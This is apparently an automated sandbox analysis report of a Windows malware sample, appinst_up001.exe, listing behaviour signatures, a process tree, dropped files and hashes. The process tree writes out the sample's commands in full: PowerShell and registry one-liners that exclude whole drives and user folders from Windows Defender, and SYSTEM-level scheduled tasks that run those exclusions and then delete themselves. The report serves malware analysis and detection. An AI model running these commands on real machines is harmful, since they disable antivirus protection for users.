Analysis

  • max time kernel
    151s
  • max time network
    119s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/08/2026, 01:04

General

  • Target
    appinst_up001.exe
  • Size 36.8MB
  • Sample260815-be3m3ada93
  • SHA256 25f3ba93e3f82258936cedb4ca84dde646c58290a45a55b80f8866b0d9d19e3b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe
    "C:\Users\Admin\AppData\Local\Temp\appinst_up001.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4716
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3124
    • C:\Users\Public\xhcdeb\caa8Bf.exe
      "C:\Users\Public\xhcdeb\caa8Bf.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:5952
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xhcdeb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:3856
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\xhcdeb\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4596
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4708
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:2452
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:6040
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2256
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:2284
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4808
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:2512
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4636
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:5980
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:1156
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:2012
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:6048
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:5896
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4832
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1120
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:5352
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2872
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:1376
                        • C:\Users\Public\xhcdeb\caa8Bf.exe
                          "C:\Users\Public\xhcdeb\caa8Bf.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2144
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\xhcdeb" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4256
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\xhcdeb" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3844
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:2280
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1068
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:1260
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1884
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2364

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                UxEnhance64.dll

                                • Path C:\Users\Public\xhcdeb\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 fcc10c736bd5efea36f9e292283d9d41dde5cf18f3770d435489162e2228d8bc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\xhcdeb\adoresd.dat
                                • Size 4.7MB
                                • SHA256 e39e89e94e001bfd18e5288413ea6d44e6b108120b1def72a71b7c109008c74b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                caa8Bf.exe

                                • Path C:\Users\Public\xhcdeb\caa8Bf.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\xhcdeb\msadox.tb
                                • Size 8KB
                                • SHA256 8036d5b2af08e87e609f4283e151eab593ed021865246577c7b9d76c45989d92
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2144-583-0x000001F504980000-0x000001F505211000-memory.dmp

                                memory/2144-592-0x00007FF938710000-0x00007FF938712000-memory.dmp

                                memory/2144-574-0x00007FF9158C0000-0x00007FF915DDE000-memory.dmp

                                memory/2144-590-0x000001F504980000-0x000001F505211000-memory.dmp

                                memory/2144-589-0x000001F504980000-0x000001F505211000-memory.dmp

                                memory/2144-591-0x000001F504980000-0x000001F505211000-memory.dmp

                                memory/2144-577-0x000001F504980000-0x000001F505211000-memory.dmp

                                memory/2144-582-0x00007FF938720000-0x00007FF938722000-memory.dmp

                                memory/2144-588-0x000001F504980000-0x000001F505211000-memory.dmp

                                memory/4716-0-0x00000000045C0000-0x00000000045CE000-memory.dmp

                                memory/4716-526-0x00007FF9298F0000-0x00007FF929902000-memory.dmp

                                memory/4716-1-0x00000000045D0000-0x00000000045DC000-memory.dmp

                                memory/4716-525-0x00000000045C0000-0x00000000045CE000-memory.dmp

                                memory/4716-503-0x00007FF9298F0000-0x00007FF929902000-memory.dmp

                                memory/5776-545-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-560-0x000001B6AB820000-0x000001B6AB8AA000-memory.dmp

                                memory/5776-562-0x000001B6AB820000-0x000001B6AB8AA000-memory.dmp

                                memory/5776-561-0x000001B6AB820000-0x000001B6AB8AA000-memory.dmp

                                memory/5776-551-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-559-0x000001B6AB820000-0x000001B6AB8AA000-memory.dmp

                                memory/5776-546-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-566-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-567-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-547-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-544-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-558-0x000001B6AA4C0000-0x000001B6AA50E000-memory.dmp

                                memory/5776-540-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-539-0x00007FF938720000-0x00007FF938722000-memory.dmp

                                memory/5776-537-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-564-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5776-532-0x00007FF9158C0000-0x00007FF915DDE000-memory.dmp

                                memory/5776-531-0x00007FF938710000-0x00007FF938712000-memory.dmp

                                memory/5776-602-0x000001B6AAF80000-0x000001B6AB811000-memory.dmp

                                memory/5952-605-0x000001BA524B0000-0x000001BA524D2000-memory.dmp

                                memory/5952-608-0x000001BA52510000-0x000001BA5252E000-memory.dmp

                                memory/5952-609-0x000001BA52530000-0x000001BA525E2000-memory.dmp

                                memory/5952-610-0x000001BA525F0000-0x000001BA525FA000-memory.dmp